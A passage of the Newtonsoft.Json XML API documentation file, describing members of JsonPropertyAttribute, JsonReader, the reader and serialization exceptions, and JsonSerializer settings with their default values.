<value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the object creation handling used when deserializing this property.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.TypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing this property.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.IsReference\">\n            <summary>\n            Gets or sets whether this property's value is serialized as a reference.\n            </summary>\n            <value>Whether this property's value is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Required\">\n            <summary>\n            Gets or sets a value indicating whether this property is required.\n            </summary>\n            <value>\n            \tA value indicating whether this property is required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader.State\">\n            <summary>\n            Specifies the state of the reader.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Complete\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Property\">\n            <summary>\n            Reader is at a property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ObjectStart\">\n            <summary>\n            Reader is at the start of an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Object\">\n            <summary>\n            Reader is in an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ArrayStart\">\n            <summary>\n            Reader is at the start of an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Array\">\n            <summary>\n            Reader is in an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonReader.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.PostValue\">\n            <summary>\n            Reader has just read a value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ConstructorStart\">\n            <summary>\n            Reader is at the start of a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Constructor\">\n            <summary>\n            Reader is in a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Error\">\n            <summary>\n            An error occurred that prevents the read operation from continuing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Finished\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CurrentState\">\n            <summary>\n            Gets the current reader state.\n            </summary>\n            <value>The current reader state.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CloseInput\">\n            <summary>\n            Gets or sets a value indicating whether the source should be closed when this reader is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the source when this reader is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.SupportMultipleContent\">\n            <summary>\n            Gets or sets a value indicating whether multiple pieces of JSON content can\n            be read from a continuous stream without erroring.\n            </summary>\n            <value>\n            <c>true</c> to support reading multiple pieces of JSON content; otherwise <c>false</c>.\n            The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. \"\\/Date(1198908717056)\\/\" and \"2012-03-21T05:40Z\", are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateFormatString\">\n            <summary>\n            Gets or sets how custom date formatted strings are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum. \n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the source.\n            </summary>\n            <returns><c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Skip\">\n            <summary>\n            Skips the children of the current token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Sets the current token.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object,System.Boolean)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"updateIndex\">A flag indicating whether the position index inside an array should be updated.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetStateBasedOnCurrent\">\n            <summary>\n            Sets the state based on current token type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the source is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReaderException\">\n            <summary>\n            The exception thrown when an error occurs while reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonRequiredAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member, and to require that the member has a value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializationException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializer\">\n            <summary>\n            Serializes and deserializes objects into and from the JSON format.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> enables you to control how objects are encoded into JSON.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonSerializer.Error\">\n            <summary>\n            Occurs when the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> errors during serialization and deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) is handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Converters\">\n            <summary>\n            Gets a collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.\n            </summary>\n            <value>Collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional JSON content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional JSON content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see 